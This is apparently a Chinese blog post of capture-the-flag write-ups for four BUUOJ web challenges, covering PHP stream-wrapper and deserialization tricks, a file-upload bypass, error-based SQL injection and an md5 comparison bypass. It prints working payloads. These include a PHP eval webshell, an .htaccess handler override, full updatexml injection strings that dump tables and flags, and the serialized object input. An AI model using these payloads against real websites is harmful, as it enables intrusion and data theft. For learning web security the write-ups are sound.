每天一道ctf

一.[ZJCTF 2019]NiZhuanSiWei

看到注释有 useless.php于是访问一下

发现什么都没有

代码审计:有这样一行代码isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf",我们需要传入一个内容为welcome to the zjctf的文件。这时就要用到data协议

data协议通常是用来执行PHP代码,也可以将内容写入data协议中,然后让file_get_contents函数取读取。构造:data://text/plain,welcome to the zjctf,为了绕过某些过滤,这里用到base64编码。构造payload:text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=。

然后有一个可控参数file,构造file=useless.php,但是针对php文件我们需要进行base64编码,否则读取不到其内容,所以构造payload:file=php://filter/read=convert.base64-encode/resource=useless.php。
得到以下经过base64加密的字符,

然后base64解密,得到 useless.php的内容

<?php  
​
class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>

需要调用flag,序列化处理

<?php  
class Flag{
    public $file='flag.php';  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
} 
$password=new Flag();
$password = serialize($password);
echo $password; 
?>  

结果为:O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

最终payload:

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

查看源码

 

 二.[MRCTF2020]你传你🐎呢

先试着个一句话木马上去<?php @eval($_POST['test']);?>

上传失败,
接着又试了试图片马,

 

失败了

然后 上传.htaccess文件,用来改变文件扩展名

<FilesMatch "a.png">
SetHandler application/x-httpd-php
</FilesMatch>

<FilesMatch "a.png">指定的是要上传的文件,注意文件名必须相同

上传时先抓包,修改Content-Type:image/png


点击forward,上传成功

第二个:木马文件,用来连接蚁剑或菜刀

上传时同样修改Content-Type:image/png


用蚁剑连接:http://93ac29f7-de06-4936-9f07-9b157b4704d2.node4.buuoj.cn:81/upload/fa59a7192463c0cd3dae65088e762e1f/a.png

 

得到flag

 

三. [极客大挑战 2019]HardSQL

sql注入的题目

先试万能密码,很明显被ban了     是报错注入

查数据库的信息,得到geek

/check.php?username=admin'or(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=123

 查表,得到H4rDsq1

/check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=123

查字段,得到id,username,password

/check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23&password=123

查数据,首先得到了一半的flag

/check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(username,'~',password))from(H4rDsq1)),0x7e),1))%23&password=123

 flag{2ec69aaf-c092-47f5-9e

再用left()right()语句进行查询拼接

/check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))%23&password=123

2-47f5-9e5e-cf80d3d28e85}

得到flag

flag{2ec69aaf-c092-47f5-9e5e-cf80d3d28e85}

四.[MRCTF2020]Ez_bypass

 F12查看源码

I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
    $id=$_GET['id'];
    $gg=$_GET['gg'];
    if (md5($id) === md5($gg) && $id !== $gg) {
        echo 'You got the first step';
        if(isset($_POST['passwd'])) {
            $passwd=$_POST['passwd'];
            if (!is_numeric($passwd))
            {
                 if($passwd==1234567)
                 {
                     echo 'Good Job!';
                     highlight_file('flag.php');
                     die('By Retr_0');
                 }
                 else
                 {
                     echo "can you think twice??";
                 }
            }
            else{
                echo 'You can not get it !';
            }

        }
        else{
            die('only one way to get the flag');
        }
}
    else {
        echo "You are not a real hacker!";
    }
}
else{
    die('Please input first');
}
}Please input first

这里要求md5($id) === md5($gg) && $id !== $gg

md5($v1)===md5($v2)数组绕过:a[]=a&b[]=b
最后可能会报错,但是null=null,判断为true,成功绕过

使用数组绕过:/?id[]=a&gg[]=b

 接着要以POST传参

if (!is_numeric($passwd))
            {
                 if($passwd==1234567)
                 {
                     echo 'Good Job!';
                     highlight_file('flag.php');
                     die('By Retr_0');
                 }

其中is_numeric() 函数用于检测变量是否为数字或数字字符串。这里要求passwd不是数字或数字字符串时,弱等于判断passwd是否等于1234567
故构造payload:passwd=1234567a

 得到flag

五.[SUCTF 2019]CheckIn

 

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值